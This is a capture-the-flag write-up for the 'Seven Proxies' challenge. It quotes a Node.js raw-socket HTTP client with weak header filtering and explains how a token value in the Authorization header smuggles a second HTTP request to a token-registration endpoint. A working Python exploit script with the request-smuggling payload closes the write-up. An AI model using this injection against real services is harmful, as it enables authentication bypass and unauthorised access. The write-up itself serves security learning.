Seven Proxies
Description
My friend said that if we create two APIs and make the public one act as a proxy of other it would be unhackable. I don't think so. Can you help me out with this?
Here's Z endpoint monsieur
Analysis
The application is what description says, there's frontend application which sends requests to backend and returns response from backend to us.
There's an extra file called http-client.js
. The way function assembles request is injectable:
export const request = async (url, options) => {
const parsedUrl = new URL(url);
const client = new Socket();
client.setEncoding('utf8');
client.connect(parsedUrl.port || 80, parsedUrl.hostname, () => {
let request = '';
request += `${options.method} ${parsedUrl.pathname + parsedUrl.search} HTTP/1.0\r\n`;
request += `Host: ${parsedUrl.host}\r\n`;
for (const header in options.headers) {
if (header.includes('\r\n') || options.headers[header].includes('\r\n')) {
continue;
}
request += `${header}: ${options.headers[header]}\r\n`;
}
if (options.body) {
request += `Content-Type: text/plain\r\n`;
request += `Content-Length: ${options.body.length}\r\n`;
} else {
request += `Content-Length: 0\r\n`;
}
request += `Connection: close\r\n`;
request += `\r\n`;
if (options.body) {
request += options.body;
}
client.write(request);
});
let response = '';
client.on('data', (data) => {
response += data;
});
return new Promise((resolve, reject) => {
client.on('error', (e) => {
reject(e);
});
client.on('close', function () {
resolve(parseResponse(response));
});
});
};
Headers are directly written inside request, the only filter is \r
which is easily bypassed by just .
For the exploit we have only 1 header:
app.get("/flag", (req, res) => {
if (!req.query.token) {
res.status(500).send("[!] You need to provide a token");
return;
}
request(`http://${process.env.SECURE_BACKEND}:9000/flag`, {
method: "GET",
headers: {
Authorization: `Bearer ${req.query.token}`, // <-- Screaming for injection D:
},
})
.then((response) => {
res.send(response);
})
.catch((err) => {
console.log(err);
res.status(500).send("[!] Internal server error. The secure backend service crashed.");
});
});
Authorization
header will allow us to smuggle in other headers or data. Interesting enough we can actually smuggle inside another http request.
/flag
is the target because it doesnt validate token, only register token does validation.
Solution
import requests
URL = 'http://64.227.131.98:40001'
TOKEN = "LETMEINNNN"
payload = f'''
{TOKEN}
Content-Length: 0
Connection: keep-alive
GET /register-token?token={TOKEN} HTTP/1.1
Host: localhost
'''.strip() # Remove extra whitespace
# Register token by smuggling second request
resp = requests.get(f"{URL}/flag", params={'token': payload})
# print(resp.json())
# Profit
resp = requests.get(f"{URL}/flag", params={'token': TOKEN})
print(resp.json()['body'])
Note
Later on I found that this challenge actially was copy of TeamItalyCTF (2022) FlagProxy
Just glad that it wasn't 100% copy 💦
Last updated